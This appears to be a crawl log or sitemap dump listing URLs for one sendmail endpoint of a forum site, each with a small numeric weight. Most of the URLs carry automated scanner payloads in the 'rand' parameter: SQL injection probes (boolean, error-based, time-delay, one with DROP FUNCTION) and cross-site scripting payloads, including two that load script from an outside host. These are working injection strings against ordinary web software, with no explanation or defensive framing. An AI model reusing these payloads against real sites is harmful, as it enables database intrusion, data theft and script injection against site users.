http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452947542 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452948010 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452974582 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452976886 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356 0.0015 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%00' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%2046=69 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20OR%2085=85%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%201453000356%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=41)%20THEN%201453000356%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25%27%29%20AND%2032%3D32%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25%27%29%20AND%2047%3D48%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%2048=81%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%2081=81%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=31)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=63)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%2527 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%2527%20AND%2033=33%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%2527%20AND%2089=17%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%5B%5D 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%5C%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%5C' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356%bf%27 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%20'ZX'='5U 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%20'iS'='iS 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20OR%20'0I'='v9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20OR%20'Je'='Je'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20's6'='s6 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=29)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20'8O'='8O 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%2071=71%20AND%20('aT'='aT 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%2099=100%20AND%20('g2'='g2 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20('AQ'='AQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=12)%20THEN%20'1453000356'%20ELSE%200x28%20END))%20AND%20('G0'='G0 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356';%20IF(18=18)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356';%20IF(28=41)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%2017=17%20AND%20(17=17 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%2068=59%20AND%20(68=68 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20OR%2011=11%20OR%20(11=11)%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20OR%2018=25%20OR%20(18=25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%201453000356%20ELSE%200x28%20END))%20AND%20(95=95 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=18)%20THEN%201453000356%20ELSE%200x28%20END))%20AND%20(98=98 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356);%20IF(56=56)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356);%20IF(71=49)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%201453000356%20ELSE%2012*(SELECT%2012%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,(SELECT%20(CASE%20WHEN%20(38=67)%20THEN%201453000356%20ELSE%2038*(SELECT%2038%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,(SELECT%20(CASE%20WHEN%20(38=92)%20THEN%201453000356%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%201453000356%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,IIF(14=14,1453000356,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356,IIF(21=53,1453000356,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=14530003566633x3X6 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356JyI%3D 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356alert(42873) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000356e360 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000364 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000367 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000369 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000373 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000379 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000389 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000403 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000411 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000417 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000421 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000424 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000434 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453000437 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453003149 0.0003 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453003554 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453003566 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453005352 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453008381 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453013832 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453013946 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453014034 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453053996 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453061586 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453079973 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453082193 0.0001 